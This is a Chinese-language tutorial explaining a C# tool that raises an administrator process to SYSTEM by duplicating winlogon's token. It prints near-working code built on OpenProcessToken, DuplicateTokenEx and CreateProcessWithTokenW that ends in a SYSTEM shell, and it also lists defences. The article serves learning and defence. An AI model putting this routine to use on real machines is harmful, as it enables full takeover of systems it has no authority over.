Sharp4Byass2SYSTEM:一款通过令牌复制将进程提升至SYSTEM权限的工具
字数 1067 2025-08-22 12:23:24

Sharp4Byass2SYSTEM 工具使用与原理详解

一、工具概述

Sharp4Byass2SYSTEM 是一款通过令牌复制技术将进程权限提升至 SYSTEM 级别的工具,主要应用于内网渗透测试环境中。该工具通过利用 Windows 系统中高权限进程(如 winlogon)的访问令牌,实现权限提升。

二、核心原理

1. Windows 权限机制基础

Windows 系统中,SYSTEM 账户是最高权限账户,拥有对系统的完全控制权。关键系统进程如 winlogon 通常以 SYSTEM 权限运行。

2. 令牌复制技术

工具通过以下步骤实现权限提升:

  1. 获取 winlogon 进程的令牌
  2. 复制该令牌
  3. 使用复制的令牌创建新进程
  4. 新进程继承 SYSTEM 权限

三、关键技术实现

1. 管理员权限检测

public static bool IsAdministrator()
{
    return (new WindowsPrincipal(WindowsIdentity.GetCurrent()))
           .IsInRole(WindowsBuiltInRole.Administrator);
}
  • 使用 WindowsIdentity.GetCurrent() 获取当前用户标识
  • 通过 WindowsPrincipal.IsInRole() 检查是否为管理员角色

2. 进程所有者识别

public static string GetProcessOwner(int processId)
{
    string query = "Select * From Win32_Process Where ProcessID = " + processId.ToString();
    ManagementObjectSearcher searcher = new ManagementObjectSearcher(query);
    ManagementObjectCollection processList = searcher.Get();
    
    foreach (ManagementBaseObject managementBaseObject in processList)
    {
        ManagementObject obj = (ManagementObject)managementBaseObject;
        string[] argList = new string[] { string.Empty, string.Empty };
        int returnVal = Convert.ToInt32(obj.InvokeMethod("GetOwner", argList));
        
        if (returnVal == 0)
        {
            return argList[1] + "\\" + argList[0];
        }
    }
    return "NO OWNER";
}
  • 通过 WMI 查询 Win32_Process 类获取进程信息
  • 调用 GetOwner 方法获取进程所有者
  • 返回格式为"域\用户名",SYSTEM 账户通常包含"NT"标识

3. 权限提升核心代码

public static void jumptoSys()
{
    // 获取当前程序路径
    string procTostart = Assembly.GetEntryAssembly().Location;
    
    // 获取winlogon进程
    Process process = Process.GetProcessesByName("winlogon")[0];
    IntPtr procHandle = process.Handle;
    
    // 打开进程令牌
    IntPtr tokenHandle = IntPtr.Zero;
    WinApi.OpenProcessToken(procHandle, 2U, out tokenHandle);
    
    // 设置启动信息
    WinApi.STARTUPINFO SINFO = default(WinApi.STARTUPINFO);
    SINFO.dwFlags = 1;
    SINFO.wShowWindow = 1;
    
    // 复制令牌
    WinApi.SECURITY_ATTRIBUTES SECA = default(WinApi.SECURITY_ATTRIBUTES);
    IntPtr doubleDuplicateToken = IntPtr.Zero;
    WinApi.DuplicateTokenEx(tokenHandle, 33554432U, ref SECA, 2, 
                          WinApi.TOKEN_TYPE.TokenPrimary, out doubleDuplicateToken);
    
    // 使用令牌创建新进程
    WinApi.PROCESS_INFORMATION PINFO;
    WinApi.CreateProcessWithTokenW(doubleDuplicateToken, 
                                 WinApi.LogonFlags.NetCredentialsOnly, 
                                 null, procTostart, 
                                 WinApi.CreationFlags.DefaultErrorMode, 
                                 IntPtr.Zero, null, ref SINFO, out PINFO);
}

关键API调用:

  • OpenProcessToken: 打开目标进程的令牌
  • DuplicateTokenEx: 复制令牌,创建主令牌
  • CreateProcessWithTokenW: 使用复制的令牌创建新进程

四、使用流程

  1. 检查当前是否为管理员权限
  2. 检查当前进程所有者是否为SYSTEM
  3. 如果不是SYSTEM权限:
    • 获取winlogon进程
    • 复制其令牌
    • 使用令牌重新启动当前程序
  4. 如果是SYSTEM权限:
    • 启动cmd.exe,获得SYSTEM权限的命令行

五、防御措施

  1. 令牌保护:配置适当的令牌权限,防止低权限用户访问高权限令牌
  2. 进程监控:监控关键系统进程(如winlogon)的令牌操作
  3. 最小权限原则:避免日常使用管理员账户
  4. 审计日志:启用详细的安全日志记录,监控可疑的令牌复制行为

六、工具限制

  1. 需要管理员权限才能执行
  2. 依赖winlogon等系统进程的存在
  3. 可能被现代EDR/AV解决方案检测

七、总结

Sharp4Byass2SYSTEM 工具展示了Windows令牌机制的安全隐患,通过复制高权限进程的令牌实现权限提升。理解其原理有助于安全人员更好地防御此类攻击,同时也为渗透测试提供了有效的权限提升手段。

Sharp4Byass2SYSTEM 工具使用与原理详解 一、工具概述 Sharp4Byass2SYSTEM 是一款通过令牌复制技术将进程权限提升至 SYSTEM 级别的工具,主要应用于内网渗透测试环境中。该工具通过利用 Windows 系统中高权限进程(如 winlogon)的访问令牌,实现权限提升。 二、核心原理 1. Windows 权限机制基础 Windows 系统中,SYSTEM 账户是最高权限账户,拥有对系统的完全控制权。关键系统进程如 winlogon 通常以 SYSTEM 权限运行。 2. 令牌复制技术 工具通过以下步骤实现权限提升: 获取 winlogon 进程的令牌 复制该令牌 使用复制的令牌创建新进程 新进程继承 SYSTEM 权限 三、关键技术实现 1. 管理员权限检测 使用 WindowsIdentity.GetCurrent() 获取当前用户标识 通过 WindowsPrincipal.IsInRole() 检查是否为管理员角色 2. 进程所有者识别 通过 WMI 查询 Win32_Process 类获取进程信息 调用 GetOwner 方法获取进程所有者 返回格式为"域\用户名",SYSTEM 账户通常包含"NT"标识 3. 权限提升核心代码 关键API调用: OpenProcessToken : 打开目标进程的令牌 DuplicateTokenEx : 复制令牌,创建主令牌 CreateProcessWithTokenW : 使用复制的令牌创建新进程 四、使用流程 检查当前是否为管理员权限 检查当前进程所有者是否为SYSTEM 如果不是SYSTEM权限: 获取winlogon进程 复制其令牌 使用令牌重新启动当前程序 如果是SYSTEM权限: 启动cmd.exe,获得SYSTEM权限的命令行 五、防御措施 令牌保护 :配置适当的令牌权限,防止低权限用户访问高权限令牌 进程监控 :监控关键系统进程(如winlogon)的令牌操作 最小权限原则 :避免日常使用管理员账户 审计日志 :启用详细的安全日志记录,监控可疑的令牌复制行为 六、工具限制 需要管理员权限才能执行 依赖winlogon等系统进程的存在 可能被现代EDR/AV解决方案检测 七、总结 Sharp4Byass2SYSTEM 工具展示了Windows令牌机制的安全隐患,通过复制高权限进程的令牌实现权限提升。理解其原理有助于安全人员更好地防御此类攻击,同时也为渗透测试提供了有效的权限提升手段。